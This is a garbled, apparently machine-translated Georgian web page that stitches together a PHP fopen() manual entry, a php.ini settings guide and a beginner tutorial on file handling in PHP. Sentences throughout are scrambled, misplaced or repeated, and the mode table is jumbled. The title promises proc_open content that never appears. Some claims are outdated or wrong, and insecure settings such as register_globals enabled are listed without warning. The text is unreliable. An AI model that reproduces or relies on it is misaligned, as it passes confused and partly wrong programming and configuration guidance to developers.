უახლესი სტატიები
მთავარი / სათამაშო კონსოლები / ფაილებთან მუშაობა php-ში: გახსნა, წერა, კითხვა. ბლოკავს თუ არა PHP proc_open ვებ მოთხოვნას? შეცდომების დამუშავება და ჟურნალები

ფაილებთან მუშაობა php-ში: გახსნა, წერა, კითხვა. ბლოკავს თუ არა PHP proc_open ვებ მოთხოვნას? შეცდომების დამუშავება და ჟურნალები

(PHP 4, PHP 5, PHP 7)

გაშლილი - ხსნის ფაილს ან URL-ს

აღწერა

რესურსი გაშლილი (სიმებიანი $filename , სიმებიანი $ რეჟიმი [, bool $use_include_path = false [, რესურსი $კონტექსტი ]])

fopen ()ანიჭებს ნაკადს ფაილის სახელის არგუმენტში მითითებულ დასახელებულ რესურსს.

პარამეტრების სია

თუ ფაილის სახელი გადაეცემა "scheme://...", ის განიხილება როგორც URL და PHP მოძებნის პროტოკოლის დამმუშავებელს (ასევე ცნობილია როგორც "wrapper") ამ სქემისთვის პროტოკოლი, PHP გამოსცემს გაფრთხილებას, რომელიც დაგეხმარებათ თვალყური ადევნოთ პოტენციურ პრობლემას თქვენს სკრიპტში და შემდეგ გააგრძელოთ შესრულება ისე, თითქოს ფაილის სახელი მიუთითებდეს ჩვეულებრივ ფაილზე.

თუ PHP აყენებს ფაილის სახელს ლოკალურ ფაილზე მითითებით, მაშინ ის ცდილობს გახსნას ნაკადი ამ ფაილზე.

ფაილი უნდა იყოს ხელმისაწვდომი PHP-ით, ასე რომ თქვენ უნდა დარწმუნდეთ, რომ ფაილის ნებართვები ამის საშუალებას იძლევა.

თუ ჩართული გაქვთ უსაფრთხო რეჟიმი ან open_basedir, მაშინ მოქმედებს დამატებითი შეზღუდვები.:

თუ PHP განსაზღვრავს, რომ ფაილის სახელი მიუთითებს რეგისტრირებულ პროტოკოლზე და ეს პროტოკოლი რეგისტრირებულია, როგორც ქსელის URL, PHP ამოწმებს allow_url_fopen დირექტივის მდგომარეობას. თუ ის გამორთულია, PHP გამოსცემს გაფრთხილებას და დარეკვა ვერ მოხდება.კომენტარი მხარდაჭერილი პროტოკოლების სია ხელმისაწვდომია მხარდაჭერილი პროტოკოლებისა და შეფუთვების განყოფილებაში.ზოგიერთი პროტოკოლი ( შეფუთვებიგამოიყენება შეფუთვით http).

Windows-ის პლატფორმაზე, თქვენ უნდა გაექცეთ ყველა უკანა ხაზს ფაილის გზაზე ან გამოიყენოთ წინსვლის ხაზები.

$handle = fopen("c:\\folder\\resource.txt" , "r" );
?>

რეჟიმის პარამეტრი განსაზღვრავს წვდომის ტიპს, რომელსაც ითხოვთ თემიდან. ეს შეიძლება იყოს ერთ-ერთი შემდეგი ვარიანტი:

შესაძლო რეჟიმების სია fopen ()რეჟიმის გამოყენებით
რეჟიმი აღწერა
"რ" ხსნის ფაილს მხოლოდ წასაკითხად; ათავსებს მაჩვენებელს ფაილის დასაწყისში.
"r+" ხსნის ფაილს კითხვისა და წერისთვის; ათავსებს მაჩვენებელს ფაილის დასაწყისში.
"w" ხსნის ფაილს მხოლოდ ჩასაწერად; ათავსებს მაჩვენებელს ფაილის დასაწყისში და წყვეტს ფაილს ნულოვან სიგრძეზე.
თუ ფაილი არ არსებობს, ის ცდილობს მის შექმნას. "w+"
ხსნის ფაილს კითხვისა და წერისთვის; ათავსებს მაჩვენებელს ფაილის დასაწყისში და წყვეტს ფაილს ნულოვან სიგრძეზე. თუ ფაილი არ არსებობს, ის ცდილობს მის შექმნას.
"ა" ხსნის ფაილს მხოლოდ ჩასაწერად; ათავსებს მაჩვენებელს ფაილის ბოლოს. თუ ფაილი არ არსებობს, ის ცდილობს მის შექმნას.
"a+" ხსნის ფაილს კითხვისა და წერისთვის; ათავსებს მაჩვენებელს ფაილის ბოლოს. თუ ფაილი არ არსებობს, ის ცდილობს მის შექმნას. fopen ()"x" ქმნის და ხსნის მხოლოდ წერისთვის; ათავსებს მაჩვენებელს ფაილის დასაწყისში. თუ ფაილი უკვე არსებობს, დარეკეთმარცხით მთავრდება, დაბრუნდება ცრუდა მისცემს დონის შეცდომას E_გაფრთხილება. თუ ფაილი არ არსებობს, ის შეეცდება მის შექმნას. ეს დროშების მითითების ტოლფასია.
O_EXCL|O_CREAT შიდა სისტემის ზარისთვის "a+".
ღია (2) "x+" "w"ქმნის და ხსნის კითხვისა და წერისთვის; წინააღმდეგ შემთხვევაში აქვს იგივე ქცევა, რაც "a+""c" ხსნის ფაილს მხოლოდ ჩასაწერად. თუ ფაილი არ არსებობს, ის იქმნება.თუ ფაილი არსებობს, მაშინ ის არ არის შეკვეცილი (განსხვავებით "w"), და ამ ფუნქციის გამოძახება არ იწვევს შეცდომას (როგორც ეს ხდება ). ფაილის მაჩვენებელი დაყენდება ფაილის დასაწყისში. ეს შეიძლება სასარგებლო იყოს, თუ გსურთ ფაილის ჩაკეტვა (იხფარა ()
) შეცვლამდე, გამოყენების დღიდან შეუძლია ფაილის შეკვეცა დაბლოკვის მიღებამდე (თუ გსურთ ფაილის შეკვეცა, შეგიძლიათ გამოიყენოთ ფუნქცია ღია (2).

თუ ჩართული გაქვთ უსაფრთხო რეჟიმი ან open_basedir, მაშინ მოქმედებს დამატებითი შეზღუდვები.:

ftruncate () დაბლოკვის მოთხოვნის შემდეგ)."c+" ხსნის ფაილს კითხვისა და წერისთვის; წინააღმდეგ შემთხვევაში აქვს იგივე ქცევა, რაცოპერაციული სისტემების სხვადასხვა ოჯახს განსხვავებული კონვენცია აქვს ხაზის დაბოლოებებთან დაკავშირებით. როდესაც თქვენ წერთ ტექსტს და გსურთ ხაზის წყვეტის ჩასმა, თქვენ უნდა გამოიყენოთ სწორი სიმბოლოები (ან სიმბოლო). ოპერაციული სისტემა. Unix ოჯახის სისტემების გამოყენება \nროგორც ხაზის ბოლო სიმბოლოები და მაკინტოშის სისტემები იყენებენ \rროგორც ხაზის დასასრულის სიმბოლო.

თუ ფაილების რედაქტირებისას იყენებთ არასწორი ხაზის დამთავრების სიმბოლოს, შეიძლება აღმოაჩინოთ, რომ ეს ფაილები "უცნაურად" გამოიყურება მათი გახსნისას.

Windows გთავაზობთ ტექსტური გადაცემის რეჟიმის დროშას ( "ტ"), რომელიც ავტომატურად ითარგმნება ხსნის ფაილს კითხვისა და წერისთვის; წინააღმდეგ შემთხვევაში აქვს იგივე ქცევა, რაც\nფაილთან მუშაობისას. და პირიქით - ასევე შეგიძლიათ გამოიყენოთ"ბ" და პირიქით - ასევე შეგიძლიათ გამოიყენოთაიძულოთ ბინარული რეჟიმი, რომელიც არ გადააქცევს თქვენს მონაცემებს. ამ რეჟიმების გამოსაყენებლად, მიუთითეთ "ტ"ან

რეჟიმის პარამეტრის ბოლო ასო. "ტ"იმის გამო, რომ ნაგულისხმევი თარგმანის დროშის პარამეტრი დამოკიდებულია SAPI-ზე და PHP-ის ვერსიაზე, რომელსაც იყენებთ, ჩვენ გირჩევთ, რომ მკაფიოდ დააყენოთ მითითებული დროშა პორტაბელურობის მიზეზების გამო. თქვენ უნდა გამოიყენოთ რეჟიმი თუ თქვენ მუშაობთტექსტური ფაილი ხსნის ფაილს კითხვისა და წერისთვის; წინააღმდეგ შემთხვევაში აქვს იგივე ქცევა, რაცდა გამოიყენე და პირიქით - ასევე შეგიძლიათ გამოიყენოთ.

თქვენი სკრიპტის ხაზის დასასრულის აღსანიშნავად ისე, რომ არ ინერვიულოთ თქვენი ფაილების წაკითხვაზე სხვა აპლიკაციებში, როგორიცაა Notepad. ყველა სხვა შემთხვევაში გამოიყენეთ დროშა \n.

თუ ჩართული გაქვთ უსაფრთხო რეჟიმი ან open_basedir, მაშინ მოქმედებს დამატებითი შეზღუდვები.:

თუ ცალსახად არ მიუთითებთ "b" დროშას ბინარულ ფაილებთან მუშაობისას, შეიძლება განიცადოთ თქვენი მონაცემების უცნაური კორუფცია, მათ შორის დაზიანებული გამოსახულების ფაილები და უცნაური სიმბოლოების პრობლემები. fopen () .

თუ ჩართული გაქვთ უსაფრთხო რეჟიმი ან open_basedir, მაშინ მოქმედებს დამატებითი შეზღუდვები.:

პორტაბელურობის მიზეზების გამო, რეკომენდირებულია ყოველთვის გამოიყენოთ "b" დროშა ფაილების გახსნისას "ტ"გარდა ამისა, პორტაბელურობის მიზეზების გამო, ასევე მკაცრად არის რეკომენდებული ძველი კოდის გადაწერა, რომელიც ეყრდნობა და პირიქით - ასევე შეგიძლიათ გამოიყენოთ.

ისე, რომ მის ნაცვლად გამოიყენოს შესაბამისი ხაზის დაბოლოებები და რეჟიმი

გამოიყენე_გზა არასავალდებულო მესამე პარამეტრი use_include_path შეიძლება იყოს "1" ანმართალი

თუ თქვენ ასევე გსურთ მოძებნოთ ფაილი include_path-ში.

თუ ჩართული გაქვთ უსაფრთხო რეჟიმი ან open_basedir, მაშინ მოქმედებს დამატებითი შეზღუდვები.: კონტექსტი კონტექსტური მხარდაჭერა დაემატა PHP 5.0.0-ში. აღწერისთვისკონტექსტებს

იხილეთ ნაკადების განყოფილება.

ღირებულებების დაბრუნება ქმნის და ხსნის მხოლოდ წერისთვის; ათავსებს მაჩვენებელს ფაილის დასაწყისში. თუ ფაილი უკვე არსებობს, დარეკეთაბრუნებს მაჩვენებელს ფაილზე წარმატების შემთხვევაში, ან

შეცდომის შემთხვევაში.

შეცდომები ცრუთუ ფაილის გახსნა ვერ მოხერხდა, წარმოიქმნება დონის შეცდომა

. თქვენ შეგიძლიათ გამოიყენოთ ოპერატორი ამ შეცდომის აღსაკვეთად.

ცვლილებების სია

მაგალითები fopen ()

მაგალითი #1 გამოყენების მაგალითები
$handle = fopen("/home/rasmus/file.txt" , "r" );
$handle = fopen ("/home/rasmus/file.gif" , "wb" );
$handle = fopen("http://www.example.com/" , "r" ); $handle = fopen ( "ftp://user:[ელფოსტა დაცულია]/somefile.txt"
?>

, "w");

შენიშვნები

ყურადღება SSL-ის გამოყენებისას, Microsoft IIS არღვევს პროტოკოლს კავშირის დახურვით ინდიკატორის გაგზავნის გარეშე. PHP შეატყობინებს ამას, როგორც "SSL: Fatal Protocol Error" იმ მომენტში, როდესაც თქვენ მიაღწევთ მონაცემების ბოლომდე. ამის თავიდან ასაცილებლად, თქვენ უნდა დააყენოთ error_reporting დონე, რომელიც გამორიცხავს E_WARNING-ს. PHP 4.3.7 და უფრო ძველი ვერსიები შეიძლება აღმოაჩინონ, რომ სერვერის მხარეს არის პრობლემური IIS, როდესაც სტრიმინგს ხსნის wrapper-ის გამოყენებით https://და არ აჩვენებს გაფრთხილებას. თუ იყენებთ fsockopen ()შექმნას ssl://სოკეტში, თქვენი პასუხისმგებლობაა ამ გაფრთხილების აღმოჩენა და ჩახშობა.

თუ ჩართული გაქვთ უსაფრთხო რეჟიმი ან open_basedir, მაშინ მოქმედებს დამატებითი შეზღუდვები.: როდესაც ჩართულია უსაფრთხო რეჟიმის ოფცია, PHP ამოწმებს, აქვს თუ არა დირექტორიას, რომლებთანაც აპირებთ მუშაობას, აქვს თუ არა იგივე UID (მფლობელი), როგორც შესრულებულ სკრიპტს.

თუ ჩართული გაქვთ უსაფრთხო რეჟიმი ან open_basedir, მაშინ მოქმედებს დამატებითი შეზღუდვები.:

თუ ფაილების კითხვისა და წერისას პრობლემები შეგექმნათ და იყენებთ PHP-ს, როგორც სერვერის მოდულს, დარწმუნდით, რომ სერვერის პროცესს აქვს წვდომა თქვენს მიერ გამოყენებული ფაილებსა და დირექტორიებზე.

თუ ჩართული გაქვთ უსაფრთხო რეჟიმი ან open_basedir, მაშინ მოქმედებს დამატებითი შეზღუდვები.:

ეს ფუნქცია ასევე შეიძლება წარმატებული იყოს, თუ ფაილის სახელი არის დირექტორია. თუ არ ხართ დარწმუნებული, ფაილის სახელი არის ფაილი თუ დირექტორია, მაშინ უნდა გამოიყენოთ ფუნქცია is_dir() fopen () .

ზარის წინ

  1. php.ini ფაილის მდებარეობა დამოკიდებულია ოპერაციულ სისტემაზე, რომელზეც მუშაობს ჰოსტინგის პროვაიდერის სერვერი. იმის გასარკვევად, თუ სად არის ის, მიჰყევით 4 მარტივ ნაბიჯს:
  2. შექმენით php ფაილი (სახელი შეიძლება იყოს ნებისმიერი, მაგრამ ჩვენ ავიღოთ myphpinfo.php, როგორც მაგალითი) და დაამატეთ მას შემდეგი ხაზები:
  3. ატვირთეთ ეს ფაილი სერვერზე, სადაც თქვენი საიტი მდებარეობს (ძირითადი საქაღალდეში).
  4. ჩვენ ვიწყებთ ბრაუზერის მეშვეობით (შეიყვანეთ URL https://yoursitename.com/myphpinfo.php).

ფანჯარაში, რომელიც გამოჩნდება, მოძებნეთ გზა php.ini-მდე (პირველ რიგში შეხედეთ "ჩატვირთული კონფიგურაციის ფაილს", თუ ის ამბობს "არცერთი", შემდეგ გადახედეთ "Configuration File (php.ini) Path").

როგორ დავაკონფიგურიროთ php.ini? php.ini ფაილს აქვს შემდეგი სინტაქსის წესები "დირექტივა = მნიშვნელობა". თუ გსურთ კომენტარების დამატება (მაგალითად, რომელშიც მიუთითებთ რა გავლენას ახდენსეს პარამეტრი

), შემდეგ გააკეთეთ მძიმის შემდეგ (ყველაფერი, რაც მოდის ამ ნიშნის შემდეგ, არ ითვლება ბრძანებად). აი მაგალითი:

max_execution_time = 40 ; წამების მაქსიმალური რაოდენობა სკრიპტის შესრულებისთვის

ზოგადი პარამეტრები

PHPengine = ჩართულია; PHP სკრიპტები ჩართულია.

Short_open_tag = ჩართულია; საშუალებას აძლევს PHP კოდის გამარტივებულ ჩარჩოებს ტეგებით<% %>

Asp_tags = ჩართულია; რთავს PHP კოდის მონიშვნის შესაძლებლობას, როგორც ეს კეთდება ASP-ში -

სიზუსტე = 12; განსაზღვრავს რამდენი ციფრი იქნება ათწილადის შემდეგ მცურავი წერტილის რიცხვებისთვის.

გამომავალი_ბუფერირება = 4096; გამომავალი ბუფერირება ავტომატურად ჩაირთვება, ბუფერის ზომა მითითებული იქნება "ტოლების" შემდეგ.

Safe_mode_allowed_env_vars = PHP_ ; საშუალებას აძლევს მომხმარებელს იმუშაოს მხოლოდ გარემოს ცვლადებთან, რომლებიც იწყება PHP_-ით. თუ ეს დირექტივა ცარიელია (არ ექნება მნიშვნელობა), მაშინ მომხმარებლებს შეეძლებათ შეცვალონ ნებისმიერი გარემოს ცვლადი. ეს შეიძლება იყოს ძალიან საზიანო სკრიპტის უსაფრთხოებისთვის.

Safe_mode_protected_env_vars = LD_LIBRARY_PATH; კრძალავს ცვლადების შეცვლას, რომლებიც ჩამოთვლილია მძიმეებით გამოყოფილი.

გამორთვა_ფუნქციები = ; ტოლობის ნიშნის შემდეგ, თქვენ უნდა ჩაწეროთ ის ფუნქციები, რომლებიც გსურთ გამორთოთ, გამოყოფილი მძიმეებით (ჩვეულებრივ, ეს კეთდება უსაფრთხოებისთვის)

გამორთე_კლასები = ; "თანაბრის" ნიშნის შემდეგ, თქვენ უნდა ჩაწეროთ მძიმეებით გამოყოფილი კლასები, რომელთა ზარების აკრძალვაც გსურთ (ჩვეულებრივ, ეს კეთდება უსაფრთხოების მიზნით)

რესურსების შეზღუდვა

max_execution_time = 40 ; სკრიპტის შესრულების მაქსიმალური დრო (წამებში)

მაქსიმალური_შეყვანის_დრო = 40 ; მაქსიმალური დრო წამებში, რაც სკრიპტს ეძლევა ჩატვირთული მონაცემების დასამუშავებლად.

მეხსიერების_ლიმიტი = 16 მ ; მაქსიმალური მეხსიერება გამოყოფილია ერთი სკრიპტისთვის

შეცდომების დამუშავება და ჟურნალები

შეცდომის_მოხსენება = E_ALL | E_EROR | E_გაფრთხილება | E_PARSE | E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_COMPILE_WARNING | E_USER_ERROR | E_USER_WARNING | E_USER_NOTICE; განსაზღვრავს შეცდომების სიას, რომლებიც შეიძლება იყოს ნაჩვენები.

ჩვენება_შეცდომები = ჩართულია; იძლევა შეცდომების ჩვენების პირდაპირ ბრაუზერში (ხშირად გამოიყენება გამართვის გამარტივებისთვის).

Display_startup_errors = ჩართულია; შეცდომები, რომლებიც გამოჩნდება PHP-ის გაშვების დროს, დასაშვებია ჩვენება.

Log_errors = ჩართულია; შეცდომები დაშვებულია ჟურნალის ფაილში ჩაიწეროს.

Log_errors_max_len = 1024 ; სიმბოლოების მაქსიმალური რაოდენობა, რომელიც შეიძლება იყოს ჟურნალის სიგრძე.

Track_errors = ჩართულია; უახლესი შეცდომის შეტყობინებები შეინახება $php_errormsg ცვლადში

Html_errors = ჩართულია; შეცდომის შეტყობინებების ჩვენების დაშვება HTML-ში.

Error_log = ფაილის სახელი ; აყენებს შეცდომების ჟურნალის სახელს.

მონაცემთა დამუშავება

variables_order = "EGPCS" ; ადგენს თანმიმდევრობას, რომლითაც PHP დაარეგისტრირებს ცვლადებს (E - ჩაშენებული ცვლადები, G - GET ცვლადები, P - POST ცვლადები, C - ქუქიები, S - სესიები). თუ რომელიმე ასოს წაშლით, შესაბამისი ცვლადების მოქმედება დაიბლოკება.

Register_globals = ჩართულია; ჩართავს შესაძლებლობას, ცვლადები, რომლებიც მოდის GET/POST/Cookie/სესიის მეშვეობით, ნორმალურ ცვლადებად განიხილება (მაგ., „$variablename“).

Register_argc_argv = On ; ნებადართულია $argv და $argc ცვლადების შექმნა GET მეთოდის ინფორმაციის საფუძველზე.

პოსტის_მაქს_ზომა = 8მ; ადგენს მონაცემთა მაქსიმალურ რაოდენობას, რომლის მიღებაც შესაძლებელია.

Magic_quotes_gpc = ჩართულია; ჩართავს POST/GET/Cookie-ით მიღებული ციტატების ავტომატურ დამუშავებას.

Auto_prepend_file = ; ამ დირექტივებში მითითებული ფაილების შიგთავსი შესაბამისად უნდა დამუშავდეს PHP-ის მიერ სკრიპტის შესრულებამდე.
auto_append_file = ; ამ დირექტივებში მითითებული ფაილების შიგთავსი შესაბამისად უნდა დამუშავდეს PHP-ის მიერ სკრიპტის შესრულების შემდეგ.

Default_mimetype = "ტექსტი/html" ; ადგენს კოდირებას Content-type-ისთვის. ნაგულისხმევად ტექსტი/html გამოყენებული იქნება კოდირების მითითების გარეშე

Doc_root = ; აყენებს root საქაღალდეს PHP სკრიპტებისთვის.

Extension_dir = "./" ; განსაზღვრავს საქაღალდეს, რომელშიც შეინახება დინამიურად დატვირთული გაფართოებები.

ფაილების ატვირთვა

file_uploads = ჩართულია; ნებადართულია ფაილების სერვერზე ატვირთვა.

Upload_tmp_dir = ; დროებითი დირექტორია ჩამოსატვირთი ფაილებისთვის.

Upload_max_filesize = 2M; ადგენს ფაილის მაქსიმალურ ზომას, რომლის ატვირთვაც შესაძლებელია.

სოკეტებთან მუშაობა

user_agent="PHP" ; USER_AGENT ცვლადი დაყენებულია, როდესაც ხდება სოკეტის კავშირი.

ნაგულისხმევი_სოკეტის_დროიმი = 30; სოკეტზე მოსმენის მაქსიმალური დრო (წამები).

სესიები

session.save_handler = ფაილები; განსაზღვრავს, რომ სესიის ინფორმაცია უნდა იყოს შენახული ფაილებში

session.save_path = /tmp ; თანაბარი ნიშნის შემდეგ, თქვენ უნდა მიუთითოთ გზა საქაღალდეში, რომელშიც შეინახება ინფორმაცია სესიების შესახებ (მნიშვნელოვანია, რომ საქაღალდე უკვე არსებობს)

session.use_cookies = 1 ; საშუალებას აძლევს ქუქიების გამოყენებას სესიებზე

session.name = PHPSESSID; მიუთითებს სესიის ID-ის გამოყენებაზე, როგორც სესიის სახელსა და სესიის ქუქი-ფაილში

session.cookie_lifetime = 0 ; სესიის ხანგრძლივობა ("0" ნიშნავს, რომ სესია ცოცხლობს ბრაუზერის ფანჯრის დახურვამდე)

session.use_trans_sid = 1 ; თუ მომხმარებელს გამორთული აქვს ქუქიები, სესიის ID დაემატება ყველა ბმულს

დინამიური გაფართოებები

extension=modulename.extension ; შეიძლება გამოყენებულ იქნას გარე მოდულების ჩასატვირთად. Windows სისტემებისთვის ისინი ჩვეულებრივ წერენ extension=msql.dll და for
UNIX - გაფართოება=msql.so

MySQL მოდულებთან მუშაობა

mysql.allow_persistent = ჩართულია; იძლევა სტაბილურ MySQL კავშირებს.

Mysql.max_persistent = -1 ; ადგენს სტაბილური MySQL კავშირების მაქსიმალურ რაოდენობას. თუ მიუთითებთ -1, ეს ნიშნავს, რომ არ არსებობს შეზღუდვები.

Mysql.max_links = -1 ; ადგენს სტაბილური MySQL კავშირების და არასტაბილური ODBC კავშირების მაქსიმალურ რაოდენობას. თუ მიუთითებთ -1, ეს ნიშნავს, რომ არ არსებობს შეზღუდვები.

Mysql.default_port = ; პორტი mysql_connect ფუნქციისთვის.

Mysql.default_socket = ; სოკეტის სახელი ადგილობრივი MySQL კავშირებისთვის.

Mysql.default_host = ; ჰოსტის სახელი mysql_connect ფუნქციისთვის.

Mysql.default_user = ; მომხმარებლის სახელი.

Mysql.default_password = ; პაროლი.

თუ თქვენ შექმენით თქვენი საკუთარი php.ini ფაილი და განათავსეთ იგი საიტის საქაღალდეში

ამ შემთხვევაში, უსაფრთხოების მიზეზების გამო, თქვენ უნდა დაბლოკოთ მასზე წვდომა ყველასთვის თქვენს გარდა. ამისათვის თქვენ უნდა ჩაწეროთ შემდეგი კოდი .htaccess ფაილში:


შეუკვეთე დაშვება, უარყო
უარყოფს ყველასგან

მაგრამ ფრთხილად იყავით, რადგან... ამ პარამეტრებით, ყველა დირექტივა (php_value, php_flag და ა.შ.), რომელიც ეხება php პარამეტრებს .htaccess ფაილის მეშვეობით შეწყვეტს მუშაობას (გამოჩნდება 500 შიდა სერვერის შეცდომა).

მნიშვნელოვანი! თუ თქვენ შექმნით საკუთარ php.ini ფაილს, ის იმოქმედებს მხოლოდ დირექტორიაზე, რომელშიც ის მდებარეობს.

რესურსი გაშლილი(სტრიქონის ფაილის სახელი, სიმებიანი რეჟიმი [, bool use_include_path [, რესურსი zcontext]])

fopen ()ანიჭებს ნაკადს ფაილის სახელის არგუმენტში მითითებულ დასახელებულ რესურსს. თუ ფაილის სახელი გადაეცემა "scheme://...", ის განიხილება როგორც URL და PHP მოძებნის პროტოკოლის დამმუშავებელს (ასევე ცნობილია როგორც "wrapper") ამ სქემისთვის პროტოკოლი, PHP გამოსცემს შენიშვნას, რომელიც დაგეხმარებათ თვალყური ადევნოთ პოტენციურ პრობლემას თქვენს სკრიპტში და გააგრძელებს შესრულებას ისე, თითქოს ფაილის სახელი მიუთითებდეს ჩვეულებრივ ფაილზე.

თუ PHP გადაწყვეტს, რომ ფაილის სახელი მიუთითებს ადგილობრივ ფაილზე, მაშინ ის შეეცდება გახსნას ნაკადი ამ ფაილზე. ფაილი უნდა იყოს ხელმისაწვდომი PHP-ით, ასე რომ თქვენ უნდა დარწმუნდეთ, რომ ფაილის ნებართვები ამის საშუალებას იძლევა. თუ ჩართული გაქვთ Safe Mode ან open_basedir, მოქმედებს დამატებითი შეზღუდვები.

თუ PHP-მ გადაწყვიტა, რომ ფაილის სახელი მიუთითებს რეგისტრირებულ პროტოკოლზე და ეს პროტოკოლი რეგისტრირებულია ქსელის URL-ად, PHP შეამოწმებს allow_url_fopen დირექტივის მდგომარეობას. თუ ის გამორთულია, PHP გამოსცემს გაფრთხილებას და დარეკვა ვერ მოხდება.

კომენტარი:ზოგიერთი პროტოკოლი მხარს უჭერს კონტექსტს და/ან php.ini ვარიანტებს. იხილეთ შესაბამისი პროტოკოლის გვერდი იმ ვარიანტების ჩამონათვალისთვის, რომლებიც შეიძლება დაყენდეს. (მაგალითად, php.ini user_agent მნიშვნელობა გამოიყენება http wrapper-ით). კონტექსტისა და zcontext პარამეტრების აღწერისთვის იხილეთ ნაკადის ფუნქციების განყოფილება.

კომენტარი:კონტექსტური მხარდაჭერა დაემატა PHP 5.0.0-ში.

კომენტარი: PHP 4.3.2-დან გამომდინარე, ორობითი რეჟიმი არის ნაგულისხმევი რეჟიმი ყველა პლატფორმისთვის, რომელიც განასხვავებს ბინარულ და ტექსტურ რეჟიმებს. თუ განახლების შემდეგ პრობლემები შეგექმნათ, სცადეთ გამოიყენოთ "t" დროშა, როგორც გამოსავალი, სანამ არ შეცვლით თქვენს სკრიპტებს უფრო დიდი პორტაბელურობის მისაღწევად, როგორც ზემოთ აღინიშნა.

რეჟიმის პარამეტრი განსაზღვრავს წვდომის ტიპს, რომელსაც ითხოვთ თემიდან. ეს შეიძლება იყოს ერთ-ერთი შემდეგი:

თუ ფაილის გახსნა ვერ მოხერხდა, ფუნქცია დაბრუნდება ცრუდა წარმოქმნის დონის შეცდომას E_გაფრთხილება. თქვენ შეგიძლიათ გამოიყენოთ ეს ამ გაფრთხილების აღსაკვეთად.


მაგალითი 1. ფუნქციის გამოყენების მაგალითები fopen ()

მაგალითი #1 გამოყენების მაგალითები
$handle = fopen("/home/rasmus/file.txt" , "r" );
$handle = fopen ("/home/rasmus/file.gif" , "wb" );
$handle = fopen("http://www.example.com/" , "r" ); $handle = fopen ( "ftp://user:[ელფოსტა დაცულია]/somefile.txt"
?>

თუ ფაილების კითხვისა და წერისას პრობლემები შეგექმნათ და იყენებთ PHP-ს, როგორც სერვერის მოდულს, დარწმუნდით, რომ სერვერის პროცესს აქვს წვდომა თქვენს მიერ გამოყენებული ფაილებსა და დირექტორიებზე.

16.5K

სინამდვილეში, php ფაილის გახსნა არ არის დიდი პრობლემა. შეიძლება უფრო რთული იყოს ლუდის ბოთლის გახსნა, როცა შუა ტყეში ხარ. მაგრამ მხოლოდ მგზნებარე პროგრამისტები ფიქრობენ ასე. დამწყებთათვის კი ჩვენ გეტყვით PHP-ის ყველა შესაძლებლობის შესახებ ფაილებთან მუშაობისთვის:

php ფაილები

php გაფართოების მქონე ფაილები შეიცავს კოდს, რომელიც დაწერილია ამავე სახელწოდების პროგრამირების ენაზე. სხვა ენებისგან განსხვავებით, php არის სერვერის პროგრამირების ენა. ანუ ის მუშაობს სერვერის მხარეს. ამიტომ, მისი კოდის გამართვის მიზნით, ლოკალური სერვერი უნდა იყოს დაინსტალირებული კლიენტის მანქანაზე.

php ფაილებთან მუშაობისთვის გამოიყენება სპეციალური აპლიკაციები - პროგრამული რედაქტორები. ყველაზე გავრცელებულია:

  • Dreamweaver.
  • PHPEdit.
  • Eclipse PHP განვითარება.
PHP-ზე დაფუძნებული ვებსაიტების შექმნისას შეიძლება დაგჭირდეთ პროგრამის კოდის ხელახლა გამოყენება. ასეთ სიტუაციებში მოსახერხებელია სხვა ფაილში მდებარე მზა გადაწყვეტილებების დაკავშირება. ამისთვის გამოიყენება მოიცავს კონსტრუქცია. მისი სინტაქსია:

ფაილის სახელის ჩათვლით

კავშირის მაგალითი:

ჩართული ფაილი:


ფაილის ჩართვა ასევე შესაძლებელია საჭირო კონსტრუქციის გამოყენებით. მოიცავსსგან განსხვავებით, ის შეიცავს ფაილს პროგრამის კოდის შესრულებამდე. კოდის მოთხოვნის გამოყენებით, შესაძლებელია მხოლოდ ერთი ზარი ამ ფაილზე. ხელახლა წვდომისას სისტემა აჩვენებს გლობალურ შეცდომის შეტყობინებას და შეაჩერებს პროგრამის შესრულებას.

მოიცავს კონსტრუქცია მოიცავს მხოლოდ წყაროს პროგრამის შესრულების დროს. იგი მხარს უჭერს php ფაილის მრავალჯერად კითხვას. თუ შეცდომა მოხდა, გამოჩნდება მხოლოდ გამაფრთხილებელი შეტყობინება და კოდის შესრულება გაგრძელდება შემდეგი სტრიქონიდან.

ფაილების გახსნა და დახურვა

php-ში ფაილებთან ყველა ოპერაცია ხორციელდება რამდენიმე ეტაპად:

  • ფაილის გახსნა;
  • შინაარსის რედაქტირება;
  • ფაილის დახურვა.

fopen() ფუნქცია გამოიყენება ფაილის გასახსნელად. მისი სინტაქსია:

int fopen (სტრიქონის ფაილის სახელი, სტრიქონის რეჟიმი [, int use_include_path])

მიღებული არგუმენტები:

  • სიმებიანი ფაილის სახელი – ფაილის სახელი ან აბსოლუტური გზა მისკენ. თუ ფაილის გზა არ არის მითითებული, ის მოიძებნება მიმდინარე დირექტორიაში. თუ ფაილი, რომელსაც ეძებთ აკლია, სისტემა აჩვენებს შეცდომის შეტყობინებას. მაგალითი:

  • სიმებიანი რეჟიმი - მიუთითებს ფაილის გახსნის რეჟიმზე. არგუმენტით მიღებული მნიშვნელობები:
  • r – ფაილი იხსნება მხოლოდ წასაკითხად, ფაილის მაჩვენებელი დაყენებულია დასაწყისში;
  • r+ – ფაილი ღიაა წასაკითხად და ჩასაწერად;
  • w – ქმნის ახალ ფაილს მხოლოდ ჩასაწერად. თუ ფაილი იგივე სახელით უკვე არსებობს, მასში არსებული ყველა მონაცემი ავტომატურად იშლება;
  • w+ - ქმნის ახალ ფაილს ჩასაწერად და წასაკითხად. როდესაც ასეთი ფაილი არსებობს, მისი მონაცემები მთლიანად გადაიწერება ახლით;
  • a – ფაილი ღიაა ჩასაწერად. მაჩვენებელი მითითებულია ბოლოს. ანუ php ფაილში ჩაწერა დაიწყება არა თავიდან, არამედ ბოლოდან;
  • a+ – გახსენით ფაილი წაკითხვის-ჩაწერის რეჟიმში. ჩაწერა დაიწყება ბოლოდან;
  • b – ორობითი მონაცემების შემცველ ფაილთან მუშაობის რეჟიმი (ორობითი რიცხვების სისტემაში). ეს რეჟიმი ხელმისაწვდომია მხოლოდ Windows ოპერაციულ სისტემაზე.

ფაილზე წვდომის დასახურად გამოიყენეთ fclose() ფუნქცია. სინტაქსი:

int fclose (int ფაილი) , სადაც int ფაილი არის სახელური საიტის დასახურავად.

ყოველი წაკითხვის ან ჩაწერის შემდეგ, ფაილი უნდა დაიხუროს ამ ფუნქციით. წინააღმდეგ შემთხვევაში, ფაილისთვის შექმნილი ნაკადი ღია რჩება. და ეს იწვევს სერვერის სიმძლავრის არასაჭირო მოხმარებას.

მაგალითი:

ფაილების კითხვა და წერა

